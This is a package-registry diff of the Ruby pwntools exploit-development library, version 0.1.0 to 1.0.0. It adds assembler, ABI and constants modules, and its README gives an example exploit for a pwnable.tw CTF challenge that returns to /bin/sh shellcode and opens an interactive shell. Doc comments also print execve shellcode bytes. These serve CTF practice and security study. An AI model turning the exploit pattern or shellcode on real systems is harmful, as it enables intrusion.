pwntools 0.1.0 → 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/README.md +88 -11
- data/Rakefile +5 -1
- data/lib/pwn.rb +9 -7
- data/lib/pwnlib/abi.rb +60 -0
- data/lib/pwnlib/asm.rb +146 -0
- data/lib/pwnlib/constants/constant.rb +16 -2
- data/lib/pwnlib/constants/constants.rb +35 -19
- data/lib/pwnlib/constants/linux/amd64.rb +30 -1
- data/lib/pwnlib/context.rb +25 -17
- data/lib/pwnlib/dynelf.rb +117 -54
- data/lib/pwnlib/elf/elf.rb +267 -0
- data/lib/pwnlib/ext/helper.rb +4 -4
- data/lib/pwnlib/logger.rb +87 -0
- data/lib/pwnlib/memleak.rb +58 -29
- data/lib/pwnlib/pwn.rb +19 -8
- data/lib/pwnlib/reg_sort.rb +102 -108
- data/lib/pwnlib/shellcraft/generators/amd64/common/common.rb +14 -0
- data/lib/pwnlib/shellcraft/generators/amd64/common/infloop.rb +17 -0
- data/lib/pwnlib/shellcraft/generators/amd64/common/memcpy.rb +31 -0
- data/lib/pwnlib/shellcraft/generators/amd64/common/mov.rb +127 -0
- data/lib/pwnlib/shellcraft/generators/amd64/common/nop.rb +16 -0
- data/lib/pwnlib/shellcraft/generators/amd64/common/popad.rb +27 -0
- data/lib/pwnlib/shellcraft/generators/amd64/common/pushstr.rb +64 -0
- data/lib/pwnlib/shellcraft/generators/amd64/common/pushstr_array.rb +19 -0
- data/lib/pwnlib/shellcraft/generators/amd64/common/ret.rb +32 -0
- data/lib/pwnlib/shellcraft/generators/amd64/common/setregs.rb +19 -0
- data/lib/pwnlib/shellcraft/generators/amd64/linux/execve.rb +21 -0
- data/lib/pwnlib/shellcraft/generators/amd64/linux/linux.rb +14 -0
- data/lib/pwnlib/shellcraft/generators/amd64/linux/ls.rb +19 -0
- data/lib/pwnlib/shellcraft/generators/amd64/linux/sh.rb +19 -0
- data/lib/pwnlib/shellcraft/generators/amd64/linux/syscall.rb +21 -0
- data/lib/pwnlib/shellcraft/generators/helper.rb +106 -0
- data/lib/pwnlib/shellcraft/generators/i386/common/common.rb +14 -0
- data/lib/pwnlib/shellcraft/generators/i386/common/infloop.rb +17 -0
- data/lib/pwnlib/shellcraft/generators/i386/common/mov.rb +90 -0
- data/lib/pwnlib/shellcraft/generators/i386/common/nop.rb +16 -0
- data/lib/pwnlib/shellcraft/generators/i386/common/pushstr.rb +39 -0
- data/lib/pwnlib/shellcraft/generators/i386/common/pushstr_array.rb +19 -0
- data/lib/pwnlib/shellcraft/generators/i386/common/setregs.rb +19 -0
- data/lib/pwnlib/shellcraft/generators/i386/linux/execve.rb +19 -0
- data/lib/pwnlib/shellcraft/generators/i386/linux/linux.rb +14 -0
- data/lib/pwnlib/shellcraft/generators/i386/linux/ls.rb +19 -0
- data/lib/pwnlib/shellcraft/generators/i386/linux/sh.rb +19 -0
- data/lib/pwnlib/shellcraft/generators/i386/linux/syscall.rb +19 -0
- data/lib/pwnlib/shellcraft/generators/x86/common/common.rb +26 -0
- data/lib/pwnlib/shellcraft/generators/x86/common/infloop.rb +22 -0
- data/lib/pwnlib/shellcraft/generators/x86/common/mov.rb +15 -0
- data/lib/pwnlib/shellcraft/generators/x86/common/pushstr.rb +15 -0
- data/lib/pwnlib/shellcraft/generators/x86/common/pushstr_array.rb +85 -0
- data/lib/pwnlib/shellcraft/generators/x86/common/setregs.rb +82 -0
- data/lib/pwnlib/shellcraft/generators/x86/linux/execve.rb +69 -0
- data/lib/pwnlib/shellcraft/generators/x86/linux/linux.rb +14 -0
- data/lib/pwnlib/shellcraft/generators/x86/linux/ls.rb +66 -0
- data/lib/pwnlib/shellcraft/generators/x86/linux/sh.rb +52 -0
- data/lib/pwnlib/shellcraft/generators/x86/linux/syscall.rb +52 -0
- data/lib/pwnlib/shellcraft/registers.rb +145 -0
- data/lib/pwnlib/shellcraft/shellcraft.rb +67 -0
- data/lib/pwnlib/timer.rb +60 -0
- data/lib/pwnlib/tubes/buffer.rb +96 -0
- data/lib/pwnlib/tubes/sock.rb +95 -0
- data/lib/pwnlib/tubes/tube.rb +270 -0
- data/lib/pwnlib/util/cyclic.rb +95 -94
- data/lib/pwnlib/util/fiddling.rb +256 -220
- data/lib/pwnlib/util/getdents.rb +83 -0
- data/lib/pwnlib/util/hexdump.rb +109 -108
- data/lib/pwnlib/util/lists.rb +55 -0
- data/lib/pwnlib/util/packing.rb +226 -228
- data/lib/pwnlib/util/ruby.rb +18 -0
- data/lib/pwnlib/version.rb +2 -1
- data/test/abi_test.rb +21 -0
- data/test/asm_test.rb +104 -0
- data/test/constants/constant_test.rb +1 -0
- data/test/constants/constants_test.rb +4 -2
- data/test/context_test.rb +1 -0
- data/test/data/echo.rb +20 -0
- data/test/data/elfs/Makefile +22 -0
- data/test/data/elfs/amd64.frelro.elf +0 -0
- data/test/data/elfs/amd64.frelro.pie.elf +0 -0
- data/test/data/elfs/amd64.nrelro.elf +0 -0
- data/test/data/elfs/amd64.prelro.elf +0 -0
- data/test/data/elfs/i386.frelro.pie.elf +0 -0
- data/test/data/elfs/i386.prelro.elf +0 -0
- data/test/data/elfs/source.cpp +19 -0
- data/test/data/flag +1 -0
- data/test/data/lib32/ld.so.2 +0 -0
- data/test/data/lib32/libc.so.6 +0 -0
- data/test/data/lib64/ld.so.2 +0 -0
- data/test/data/lib64/libc.so.6 +0 -0
- data/test/dynelf_test.rb +59 -24
- data/test/elf/elf_test.rb +120 -0
- data/test/ext_test.rb +3 -2
- data/test/files/use_pwnlib.rb +1 -1
- data/test/logger_test.rb +61 -0
- data/test/memleak_test.rb +4 -33
- data/test/reg_sort_test.rb +3 -1
- data/test/shellcraft/infloop_test.rb +26 -0
- data/test/shellcraft/linux/ls_test.rb +108 -0
- data/test/shellcraft/linux/sh_test.rb +119 -0
- data/test/shellcraft/linux/syscalls/execve_test.rb +136 -0
- data/test/shellcraft/linux/syscalls/syscall_test.rb +83 -0
- data/test/shellcraft/memcpy_test.rb +35 -0
- data/test/shellcraft/mov_test.rb +98 -0
- data/test/shellcraft/nop_test.rb +26 -0
- data/test/shellcraft/popad_test.rb +29 -0
- data/test/shellcraft/pushstr_array_test.rb +91 -0
- data/test/shellcraft/pushstr_test.rb +108 -0
- data/test/shellcraft/registers_test.rb +32 -0
- data/test/shellcraft/ret_test.rb +30 -0
- data/test/shellcraft/setregs_test.rb +62 -0
- data/test/shellcraft/shellcraft_test.rb +28 -0
- data/test/test_helper.rb +12 -1
- data/test/timer_test.rb +23 -0
- data/test/tubes/buffer_test.rb +45 -0
- data/test/tubes/sock_test.rb +68 -0
- data/test/tubes/tube_test.rb +241 -0
- data/test/util/cyclic_test.rb +2 -1
- data/test/util/fiddling_test.rb +2 -1
- data/test/util/getdents_test.rb +32 -0
- data/test/util/hexdump_test.rb +7 -9
- data/test/util/lists_test.rb +21 -0
- data/test/util/packing_test.rb +4 -3
- metadata +215 -25
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA1:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: e8617d0c3ce0deb5ba38b0f4c2b4d11c26ff2c48
|
4
|
+
data.tar.gz: 22a859a445f8fb1fa84c9c164f2f093ccaf81bcb
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: dec0121c94efbe114141de88e820e7ab64c25e64938e44413293a9b61d325ac6dcd0239588b930326a7c7da49378deebcbf94154cc59411e22f8926b95954668
|
7
|
+
data.tar.gz: 34f90a6171b82df95d5c5a78252ae370cc6251da6deeac65f2bbd011efa251ebf65e7435046cb159e42740c2f072ac6dc5de80f429496ed7f3cd2afe0978b020
|
data/README.md
CHANGED
@@ -12,12 +12,12 @@ Always sad when playing CTF that there's nothing equivalent to pwntools in Pytho
|
|
12
12
|
While pwntools is awesome, I always love Ruby far more than Python...
|
13
13
|
So this is an attempt to create such library.
|
14
14
|
|
15
|
-
There's almost NOTHING here now.
|
16
|
-
(Edit: there's something here now, but not much :wink:)
|
17
|
-
Going to implement important things (socket, tubes, asm/disasm, pack/unpack utilities) first.
|
18
15
|
Would try to have consistent naming with original pwntools, and do things in Ruby style.
|
19
16
|
|
20
17
|
# Example Usage
|
18
|
+
|
19
|
+
Here's an exploitation for `start` which is a challenge on [pwnable.tw](https://pwnable.tw).
|
20
|
+
|
21
21
|
```ruby
|
22
22
|
# encoding: ASCII-8BIT
|
23
23
|
# The encoding line is important most time, or you'll get "\u0000" when using "\x00" in code,
|
@@ -25,20 +25,97 @@ Would try to have consistent naming with original pwntools, and do things in Rub
|
|
25
25
|
|
26
26
|
require 'pwn'
|
27
27
|
|
28
|
-
|
29
|
-
context.
|
30
|
-
|
28
|
+
context.arch = 'i386'
|
29
|
+
context.log_level = :debug
|
30
|
+
z = Sock.new 'chall.pwnable.tw', 10000
|
31
|
+
|
32
|
+
z.recvuntil "Let's start the CTF:"
|
33
|
+
z.send p32(0x8048087).rjust(0x18, 'A')
|
34
|
+
stk = u32(z.recvuntil "\xff")
|
35
|
+
log.info "stack address: #{stk.hex}" # Log stack address
|
36
|
+
|
37
|
+
# Return to shellcode
|
38
|
+
addr = stk + 0x14
|
39
|
+
payload = addr.p32.rjust(0x18, 'A') + asm(shellcraft.sh)
|
40
|
+
z.write payload
|
41
|
+
|
42
|
+
# Switch to interactive mode
|
43
|
+
z.interact
|
44
|
+
```
|
45
|
+
|
46
|
+
More features and details can be found in the
|
47
|
+
[documentation](http://www.rubydoc.info/github/peter50216/pwntools-ruby/master/frames).
|
31
48
|
|
32
|
-
|
33
|
-
|
34
|
-
|
49
|
+
# Installation
|
50
|
+
|
51
|
+
### Install the latest release:
|
52
|
+
```sh
|
53
|
+
gem install pwntools
|
54
|
+
```
|
55
|
+
|
56
|
+
### Install from master branch:
|
57
|
+
```sh
|
58
|
+
git clone https://github.com/peter50216/pwntools-ruby
|
59
|
+
cd pwntools-ruby
|
60
|
+
gem build pwntools.gemspec && gem install pwntools-*.gem
|
35
61
|
```
|
36
62
|
|
63
|
+
### optional
|
64
|
+
|
65
|
+
Some of the features (assembling/disassembling) require non-Ruby dependencies. Checkout the
|
66
|
+
installation guide for
|
67
|
+
[keystone-engine](https://github.com/keystone-engine/keystone/tree/master/docs) and
|
68
|
+
[capstone-engine](http://www.capstone-engine.org/documentation.html).
|
69
|
+
|
70
|
+
Or you are able to get running quickly with
|
71
|
+
|
72
|
+
```sh
|
73
|
+
# Install Capstone
|
74
|
+
sudo apt-get install libcapstone3
|
75
|
+
|
76
|
+
# Compile and install Keystone from source
|
77
|
+
sudo apt-get install cmake
|
78
|
+
git clone https://github.com/keystone-engine/keystone.git /tmp/keystone
|
79
|
+
cd /tmp/keystone
|
80
|
+
mkdir build
|
81
|
+
cd build
|
82
|
+
../make-share.sh
|
83
|
+
sudo make install
|
84
|
+
```
|
85
|
+
|
86
|
+
# Supported Features
|
87
|
+
|
88
|
+
## Architectures
|
89
|
+
|
90
|
+
- [x] i386
|
91
|
+
- [x] amd64
|
92
|
+
- [ ] arm
|
93
|
+
- [ ] thumb
|
94
|
+
|
95
|
+
## Modules
|
96
|
+
|
97
|
+
- [x] context
|
98
|
+
- [x] asm
|
99
|
+
- [x] disasm
|
100
|
+
- [x] shellcraft
|
101
|
+
- [x] elf
|
102
|
+
- [x] dynelf
|
103
|
+
- [x] logger
|
104
|
+
- [ ] tube
|
105
|
+
- [x] sock
|
106
|
+
- [ ] process
|
107
|
+
- [ ] fmtstr
|
108
|
+
- [x] util
|
109
|
+
- [x] pack
|
110
|
+
- [x] cyclic
|
111
|
+
- [x] fiddling
|
112
|
+
|
37
113
|
# Development
|
38
114
|
```sh
|
39
|
-
git clone
|
115
|
+
git clone https://github.com/peter50216/pwntools-ruby
|
40
116
|
cd pwntools-ruby
|
41
|
-
|
117
|
+
bundle
|
118
|
+
bundle exec rake
|
42
119
|
```
|
43
120
|
|
44
121
|
# Note to irb users
|
data/Rakefile
CHANGED
@@ -5,10 +5,10 @@ require 'bundler/gem_tasks'
|
|
5
5
|
require 'rainbow'
|
6
6
|
require 'rake/testtask'
|
7
7
|
require 'rubocop/rake_task'
|
8
|
+
require 'yard'
|
8
9
|
|
9
10
|
RuboCop::RakeTask.new(:rubocop) do |task|
|
10
11
|
task.patterns = ['lib/**/*.rb', 'test/**/*.rb']
|
11
|
-
task.formatters = ['files']
|
12
12
|
end
|
13
13
|
|
14
14
|
task default: %i(install_git_hooks rubocop test)
|
@@ -18,9 +18,13 @@ Rake::TestTask.new(:test) do |test|
|
|
18
18
|
test.libs << 'test'
|
19
19
|
test.pattern = 'test/**/*_test.rb'
|
20
20
|
test.verbose = true
|
21
|
+
test.options = '--pride'
|
21
22
|
end
|
22
23
|
|
24
|
+
YARD::Rake::YardocTask.new(:doc)
|
25
|
+
|
23
26
|
task :install_git_hooks do
|
27
|
+
next if ENV['CI']
|
24
28
|
hooks = %w(pre-push)
|
25
29
|
git_hook_dir = Pathname.new('.git/hooks/')
|
26
30
|
hook_dir = Pathname.new('git-hooks/')
|
data/lib/pwn.rb
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
# encoding: ASCII-8BIT
|
2
2
|
|
3
|
-
# require this file for easy exploit development, but would pollute main Object
|
4
|
-
#
|
3
|
+
# require this file for easy exploit development, but would pollute main Object and some built-in objects. (String,
|
4
|
+
# Integer, ...)
|
5
5
|
|
6
6
|
require 'pwnlib/pwn'
|
7
7
|
|
@@ -12,13 +12,15 @@ require 'pwnlib/ext/array'
|
|
12
12
|
extend Pwn
|
13
13
|
|
14
14
|
include Pwnlib
|
15
|
+
include Pwnlib::Tubes
|
16
|
+
|
17
|
+
# XXX(david942j): include here because module ELF and class ELF have same name..
|
18
|
+
include ::Pwnlib::ELF
|
15
19
|
|
16
20
|
# Small "fix" for irb context problem.
|
17
|
-
# irb defines main.context for IRB::Context, which overrides our
|
18
|
-
#
|
19
|
-
#
|
20
|
-
# and the IRB::Context can still be accessible from irb_context, we should be
|
21
|
-
# fine removing context.
|
21
|
+
# irb defines main.context for IRB::Context, which overrides our Pwnlib::Context. :(
|
22
|
+
# Since our "context" should be more important for someone requiring 'pwn', and the IRB::Context can still be accessible
|
23
|
+
# from irb_context, we should be fine removing context.
|
22
24
|
class << self
|
23
25
|
remove_method(:context) if method_defined?(:context)
|
24
26
|
end
|
data/lib/pwnlib/abi.rb
ADDED
@@ -0,0 +1,60 @@
|
|
1
|
+
# encoding: ASCII-8BIT
|
2
|
+
|
3
|
+
require 'pwnlib/context'
|
4
|
+
|
5
|
+
module Pwnlib
|
6
|
+
# Encapsulates information about a calling convention.
|
7
|
+
module ABI
|
8
|
+
# A super class for recording registers and stack's information.
|
9
|
+
class ABI
|
10
|
+
attr_reader :register_arguments
|
11
|
+
attr_reader :arg_alignment
|
12
|
+
attr_reader :stack_pointer
|
13
|
+
# Only used for x86, to specify the +eax+, +edx+ pair.
|
14
|
+
attr_reader :cdq_pair
|
15
|
+
def initialize(regs, align, stack_pointer, cdq_pair: nil)
|
16
|
+
@register_arguments = regs
|
17
|
+
@arg_alignment = align
|
18
|
+
@stack_pointer = stack_pointer
|
19
|
+
@cdq_pair = cdq_pair
|
20
|
+
end
|
21
|
+
|
22
|
+
class << self
|
23
|
+
def default
|
24
|
+
DEFAULT[arch_key]
|
25
|
+
end
|
26
|
+
|
27
|
+
def syscall
|
28
|
+
SYSCALL[arch_key]
|
29
|
+
end
|
30
|
+
|
31
|
+
private
|
32
|
+
|
33
|
+
def arch_key
|
34
|
+
[context.bits, context.arch, context.os]
|
35
|
+
end
|
36
|
+
include ::Pwnlib::Context
|
37
|
+
end
|
38
|
+
end
|
39
|
+
|
40
|
+
# The syscall ABI treats the syscall number as the zeroth argument,
|
41
|
+
# which must be loaded into the specified register.
|
42
|
+
class SyscallABI < ABI
|
43
|
+
attr_reader :syscall_str
|
44
|
+
def initialize(regs, align, stack_pointer, syscall_str)
|
45
|
+
super(regs, align, stack_pointer)
|
46
|
+
@syscall_str = syscall_str
|
47
|
+
end
|
48
|
+
end
|
49
|
+
|
50
|
+
DEFAULT = {
|
51
|
+
[32, 'i386', 'linux'] => ABI.new([], 4, 'esp', cdq_pair: %w(eax edx)),
|
52
|
+
[64, 'amd64', 'linux'] => ABI.new(%w(rdi rsi rdx rcx r8 r9), 8, 'rsp', cdq_pair: %w(rax rdx))
|
53
|
+
}.freeze
|
54
|
+
|
55
|
+
SYSCALL = {
|
56
|
+
[32, 'i386', 'linux'] => SyscallABI.new(%w(eax ebx ecx edx esi edi ebp), 4, 'esp', 'int 0x80'),
|
57
|
+
[64, 'amd64', 'linux'] => SyscallABI.new(%w(rax rdi rsi rdx r10 r8 r9), 8, 'rsp', 'syscall')
|
58
|
+
}.freeze
|
59
|
+
end
|
60
|
+
end
|
data/lib/pwnlib/asm.rb
ADDED
@@ -0,0 +1,146 @@
|
|
1
|
+
# encoding: ASCII-8BIT
|
2
|
+
|
3
|
+
require 'keystone_engine/keystone_const'
|
4
|
+
|
5
|
+
require 'pwnlib/context'
|
6
|
+
require 'pwnlib/util/ruby'
|
7
|
+
|
8
|
+
module Pwnlib
|
9
|
+
# Convert assembly code to machine code and vice versa.
|
10
|
+
# Use two open-source projects +keystone+/+capstone+ to asm/disasm.
|
11
|
+
module Asm
|
12
|
+
module_function
|
13
|
+
|
14
|
+
# Disassembles a bytestring into human readable assembly.
|
15
|
+
#
|
16
|
+
# {.disasm} depends on another open-source project - capstone, error will be raised if capstone is not intalled.
|
17
|
+
# @param [String] data
|
18
|
+
# The bytestring.
|
19
|
+
# @param [Integer] vma
|
20
|
+
# Virtual memory address.
|
21
|
+
#
|
22
|
+
# @return [String]
|
23
|
+
# Disassemble result with nice typesetting.
|
24
|
+
#
|
25
|
+
# @raise [LoadError]
|
26
|
+
# If libcapstone is not installed.
|
27
|
+
#
|
28
|
+
# @example
|
29
|
+
# context.arch = 'i386'
|
30
|
+
# print disasm("\xb8\x5d\x00\x00\x00")
|
31
|
+
# # 0: b8 5d 00 00 00 mov eax, 0x5d
|
32
|
+
#
|
33
|
+
# context.arch = 'amd64'
|
34
|
+
# print disasm("\xb8\x17\x00\x00\x00")
|
35
|
+
# # 0: b8 17 00 00 00 mov eax, 0x17
|
36
|
+
# print disasm("jhH\xb8/bin///sPH\x89\xe71\xd21\xf6j;X\x0f\x05", vma: 0x1000)
|
37
|
+
# # 1000: 6a 68 push 0x68
|
38
|
+
# # 1002: 48 b8 2f 62 69 6e 2f 2f 2f 73 movabs rax, 0x732f2f2f6e69622f
|
39
|
+
# # 100c: 50 push rax
|
40
|
+
# # 100d: 48 89 e7 mov rdi, rsp
|
41
|
+
# # 1010: 31 d2 xor edx, edx
|
42
|
+
# # 1012: 31 f6 xor esi, esi
|
43
|
+
# # 1014: 6a 3b push 0x3b
|
44
|
+
# # 1016: 58 pop rax
|
45
|
+
# # 1017: 0f 05 syscall
|
46
|
+
def disasm(data, vma: 0)
|
47
|
+
require_message('crabstone', install_crabstone_guide) # will raise error if require fail.
|
48
|
+
cs = Crabstone::Disassembler.new(cap_arch, cap_mode)
|
49
|
+
insts = cs.disasm(data, vma).map do |ins|
|
50
|
+
[ins.address, ins.bytes.pack('C*'), ins.mnemonic, ins.op_str.to_s]
|
51
|
+
end
|
52
|
+
max_dlen = format('%x', insts.last.first).size + 2
|
53
|
+
max_hlen = insts.map { |ins| ins[1].size }.max * 3
|
54
|
+
insts.reduce('') do |s, ins|
|
55
|
+
hex_code = ins[1].bytes.map { |c| format('%02x', c) }.join(' ')
|
56
|
+
inst = if ins[3].empty?
|
57
|
+
ins[2]
|
58
|
+
else
|
59
|
+
format('%-7s %s', ins[2], ins[3])
|
60
|
+
end
|
61
|
+
s + format("%#{max_dlen}x: %-#{max_hlen}s%s\n", ins[0], hex_code, inst)
|
62
|
+
end
|
63
|
+
end
|
64
|
+
|
65
|
+
# Convert assembly code to machine code.
|
66
|
+
#
|
67
|
+
# @param [String] code
|
68
|
+
# The assembly code to be converted.
|
69
|
+
#
|
70
|
+
# @return [String]
|
71
|
+
# The result.
|
72
|
+
#
|
73
|
+
# @example
|
74
|
+
# assembly = shellcraft.amd64.linux.sh
|
75
|
+
# context.local(arch: 'amd64') { asm(assembly) }
|
76
|
+
# #=> "jhH\xB8/bin///sPj;XH\x89\xE71\xF6\x99\x0F\x05"
|
77
|
+
#
|
78
|
+
# context.local(arch: 'i386') { asm(shellcraft.sh) }
|
79
|
+
# #=> "jhh///sh/binj\vX\x89\xE31\xC9\x99\xCD\x80"
|
80
|
+
#
|
81
|
+
# @diff
|
82
|
+
# Not support +asm('mov eax, SYS_execve')+.
|
83
|
+
def asm(code)
|
84
|
+
require_message('keystone_engine', install_keystone_guide)
|
85
|
+
KeystoneEngine::Ks.new(ks_arch, ks_mode).asm(code)[0]
|
86
|
+
end
|
87
|
+
|
88
|
+
::Pwnlib::Util::Ruby.private_class_method_block do
|
89
|
+
def cap_arch
|
90
|
+
{
|
91
|
+
'i386' => Crabstone::ARCH_X86,
|
92
|
+
'amd64' => Crabstone::ARCH_X86
|
93
|
+
}[context.arch]
|
94
|
+
end
|
95
|
+
|
96
|
+
def cap_mode
|
97
|
+
{
|
98
|
+
32 => Crabstone::MODE_32,
|
99
|
+
64 => Crabstone::MODE_64
|
100
|
+
}[context.bits]
|
101
|
+
end
|
102
|
+
|
103
|
+
def ks_arch
|
104
|
+
{
|
105
|
+
'i386' => KeystoneEngine::KS_ARCH_X86,
|
106
|
+
'amd64' => KeystoneEngine::KS_ARCH_X86
|
107
|
+
}[context.arch]
|
108
|
+
end
|
109
|
+
|
110
|
+
def ks_mode
|
111
|
+
{
|
112
|
+
32 => KeystoneEngine::KS_MODE_32,
|
113
|
+
64 => KeystoneEngine::KS_MODE_64
|
114
|
+
}[context.bits]
|
115
|
+
end
|
116
|
+
|
117
|
+
# FFI is used in keystone and capstone binding gems, this method handles when libraries not installed yet.
|
118
|
+
def require_message(lib, msg)
|
119
|
+
require lib
|
120
|
+
rescue LoadError => e
|
121
|
+
raise LoadError, e.message + "\n\n" + msg
|
122
|
+
end
|
123
|
+
|
124
|
+
def install_crabstone_guide
|
125
|
+
<<-EOS
|
126
|
+
#disasm dependes on capstone, which is detected not installed yet.
|
127
|
+
Checkout the following link for installation guide:
|
128
|
+
|
129
|
+
http://www.capstone-engine.org/documentation.html
|
130
|
+
|
131
|
+
EOS
|
132
|
+
end
|
133
|
+
|
134
|
+
def install_keystone_guide
|
135
|
+
<<-EOS
|
136
|
+
#asm dependes on keystone, which is detected not installed yet.
|
137
|
+
Checkout the following link for installation guide:
|
138
|
+
|
139
|
+
https://github.com/keystone-engine/keystone/tree/master/docs
|
140
|
+
|
141
|
+
EOS
|
142
|
+
end
|
143
|
+
include ::Pwnlib::Context
|
144
|
+
end
|
145
|
+
end
|
146
|
+
end
|
@@ -4,9 +4,23 @@ require 'pwnlib/util/fiddling'
|
|
4
4
|
|
5
5
|
module Pwnlib
|
6
6
|
module Constants
|
7
|
-
# A class that includes name and value
|
7
|
+
# A class that includes name and value representing a constant.
|
8
|
+
# This class works like an integer, and support operations with integers.
|
9
|
+
#
|
10
|
+
# @example
|
11
|
+
# a = Pwnlib::Constants::Constant.new('a', 0x3)
|
12
|
+
# #=> Constant("a", 0x3)
|
13
|
+
# [a + 1, 2 * a, a | 6, a == 3, 0 > a]
|
14
|
+
# #=> [4, 6, 7, true, false]
|
8
15
|
class Constant < Numeric
|
9
|
-
|
16
|
+
# @return [String]
|
17
|
+
attr_reader :str
|
18
|
+
|
19
|
+
# @return [Integer]
|
20
|
+
attr_reader :val
|
21
|
+
|
22
|
+
# @param [String] str
|
23
|
+
# @param [Integer] val
|
10
24
|
def initialize(str, val)
|
11
25
|
@str = str
|
12
26
|
@val = val
|
@@ -1,45 +1,54 @@
|
|
1
1
|
# encoding: ASCII-8BIT
|
2
2
|
|
3
|
-
require '
|
3
|
+
require 'dentaku'
|
4
|
+
|
4
5
|
require 'pwnlib/constants/constant'
|
6
|
+
require 'pwnlib/context'
|
5
7
|
|
6
8
|
module Pwnlib
|
7
|
-
# Module containing constants
|
9
|
+
# Module containing constants.
|
10
|
+
#
|
8
11
|
# @example
|
9
12
|
# context.arch = 'amd64'
|
10
13
|
# Pwnlib::Constants.SYS_read
|
11
|
-
#
|
14
|
+
# #=> Constant('SYS_read', 0x0)
|
12
15
|
module Constants
|
13
|
-
|
14
|
-
|
15
|
-
|
16
|
-
|
17
|
-
#
|
16
|
+
class << self
|
17
|
+
# To support getting constants like +Pwnlib::Constants.SYS_read+.
|
18
|
+
#
|
19
|
+
# @return [Constant]
|
20
|
+
#
|
21
|
+
# @raise [NoMethodError]
|
18
22
|
def method_missing(method, *args, &block)
|
19
23
|
args.empty? && block.nil? && get_constant(method) || super
|
20
24
|
end
|
21
25
|
|
26
|
+
# @return [Boolean]
|
22
27
|
def respond_to_missing?(method, _include_all)
|
23
28
|
!get_constant(method).nil?
|
24
29
|
end
|
25
30
|
|
26
|
-
# Eval for Constants
|
31
|
+
# Eval for Constants.
|
27
32
|
#
|
28
33
|
# @param [String] str
|
29
|
-
# The string to be
|
34
|
+
# The string to be evaluated.
|
30
35
|
#
|
31
36
|
# @return [Constant]
|
32
|
-
# The
|
37
|
+
# The evaluated result.
|
33
38
|
#
|
34
39
|
# @example
|
35
40
|
# eval('O_CREAT')
|
36
|
-
#
|
37
|
-
#
|
38
|
-
#
|
41
|
+
# #=> Constant('(O_CREAT)', 0x40)
|
42
|
+
# eval('O_CREAT | O_APPEND')
|
43
|
+
# #=> Constant('(O_CREAT | O_APPEND)', 0x440)
|
39
44
|
def eval(str)
|
40
45
|
return str unless str.instance_of?(String)
|
41
|
-
|
42
|
-
|
46
|
+
begin
|
47
|
+
val = calculator.evaluate!(str.strip).to_i
|
48
|
+
rescue Dentaku::UnboundVariableError => e
|
49
|
+
raise NameError, e.message
|
50
|
+
end
|
51
|
+
::Pwnlib::Constants::Constant.new("(#{str})", val)
|
43
52
|
end
|
44
53
|
|
45
54
|
private
|
@@ -48,6 +57,7 @@ module Pwnlib
|
|
48
57
|
[context.os, context.arch]
|
49
58
|
end
|
50
59
|
|
60
|
+
ENV_STORE = {} # rubocop:disable Style/MutableConstant
|
51
61
|
def current_store
|
52
62
|
ENV_STORE[current_arch_key] ||= load_constants(current_arch_key)
|
53
63
|
end
|
@@ -56,9 +66,15 @@ module Pwnlib
|
|
56
66
|
current_store[symbol]
|
57
67
|
end
|
58
68
|
|
59
|
-
|
69
|
+
CALCULATORS = {} # rubocop:disable Style/MutableConstant
|
70
|
+
def calculator
|
71
|
+
CALCULATORS[current_arch_key] ||= Dentaku::Calculator.new.store(current_store)
|
72
|
+
end
|
73
|
+
|
74
|
+
# Small class for instance_eval loaded file.
|
60
75
|
class ConstantBuilder
|
61
76
|
attr_reader :tbl
|
77
|
+
|
62
78
|
def initialize
|
63
79
|
@tbl = {}
|
64
80
|
end
|
@@ -75,8 +91,8 @@ module Pwnlib
|
|
75
91
|
builder.instance_eval(IO.read(filename))
|
76
92
|
builder.tbl
|
77
93
|
end
|
78
|
-
end
|
79
94
|
|
80
|
-
|
95
|
+
include ::Pwnlib::Context
|
96
|
+
end
|
81
97
|
end
|
82
98
|
end
|